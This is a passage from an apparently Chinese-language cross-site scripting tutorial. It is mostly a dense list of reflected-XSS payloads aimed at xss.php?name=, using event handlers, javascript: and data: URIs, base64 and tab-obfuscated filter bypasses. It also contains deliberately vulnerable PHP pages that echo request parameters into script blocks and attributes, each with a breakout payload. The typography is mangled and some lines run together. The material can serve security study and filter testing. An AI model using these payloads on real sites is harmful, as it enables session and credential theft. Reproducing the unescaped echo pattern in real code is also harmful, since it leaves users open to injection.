href=javascript:confirm(11)>asd</a>xss.php?name=<a onmouseover=(alert(12))>KCF</a>xss.php?name=<svg xmlns=”http://www.w3.org/2000/svg”> <a xmlns:xlink=”http://www.w3.org/1999/xlink” xlink:href=”javascript:alert(14)”><rect width=”1000″ height=”1000″ fill=”white”/></a> </svg>xss.php?name=<p/onmouseover=javascript:alert(15); >KCF</p>xss.php?name=<img src=x onerror=alert(16)>xss.php?name=<img src=x onerror=window.open(‘http://127.0.0.1′);>xss.php?name=<img src=”x:kcf” onerror=”alert(20)”>xss.php?name=<body/onload=alert(21)>xss.php?name=<body onscroll=alert(22)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>xss.php?name=<body oninput=alert(23)><input autofocus>xss.php?name=<var onmouseover=”prompt(24)”>KCF</var>xss.php?name=<div/onmouseover=’alert(25)’>Xxss.php?name=<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;29&Tab;%29></iframe>xss.php?name=<iframe SRC=”http://0x.lv/xss.swf”></iframe>xss.php?name=<IFRAME SRC=”javascript:alert(27);”></IFRAME>xss.php?name=<meta http-equiv=”refresh” content=”0;javascript&colon;alert(28)”/>?xss.php?name=<meta http-equiv=”refresh” content=”0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E”>xss.php?name=<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>xss.php?name=<marquee  onstart=”alert(’31′)”></marquee>xss.php?name=<video src=x onerror=alert(48)>xss.php?name=<audio src=x onerror=alert(47)>xss.php?name=<video><source onerror=”alert(46)”>xss.php?name=<math href=”javascript:javascript:alert(45)”>CLICKME</math>xss.php?name=<svg onload=”javascript:alert(43)” xmlns=”http://www.w3.org/2000/svg”></svg>xss.php?name=<embed src=javascript:alert(42)>xss.php?name=<embed src=”data:text/html;base64,PHNjcmlwdD5hbGVydCg0MSk8L3NjcmlwdD4=”></embed>xss.php?name=<keygen onfocus=javascript:alert(38) autofocus>xss.php?name=<textarea onfocus=javascript:alert(37) autofocus>xss.php?name=<select onfocus=javascript:alert(36) autofocus>xss.php?name=<input onblur=javascript:alert(35) autofocus><input autofocus>xss.php?name=<input onfocus=javascript:alert(34) autofocus>xss.php?name=<isindex action=javascript:alert(33) type=image>xss.php?name=<isindex type=image src=1 onerror=alert(32)>

2、输出在script标签内的情况

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″/><title>xss twe test</title></head><body>当我们控制的变量获取的内容在script标签内的时候</br></br><?php echo “<script> “.$_GET["call"].”()</script>”?></br></body></html><!–

利用:xss.php?call=aaaaaaa</script><script>alert(1)</script><script>alert(2) 3、输出的结果在html属性内的情况下

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″/><title>xss three test</title></head><body>当我们控制的变量获取的内容在html标签内的时候</br></br><input type=”text” value=”<?php echo $_GET["word"]?>” /></body></html>

测试代码: xss.php?word=90欢迎您” onclick=”alert(1)说明:这种类型是输出会出现在HTML标签的属性之中。 例如: <input value=”输出”> 、 <img onload=”…[输出]…”> ,再比如 <body style=”…[输出]…”> 等等 在HTML属性中,会自动对实体字符进行转义。一个简单的比方。

<img src=”1″ onerror=”alert(1)”>

<img src=”1″ onerror=”alert&#x28;1&#x29;”>

是等效的 上面这个特性可以让我们在<script></script>都被过滤的情况下,利用 注意:上面的情况是在输入未过滤双引号的情况下成功的 在” —- &quot;  的情况下怎么利用? 前提是没有过滤(反斜线),在css里允许使用转义字符,  + ascii16进制形式 如果他过滤了expression,我们也可以轻松的用expr65ssion绕过。 但是有个弊端,就是这个情况只能在ie6和ie7下触发,受众面窄 上面这个文章仅仅作为抛砖引玉,其中的情况是最简单的,请各位构造比较复杂点的利用环境,大家共同学习!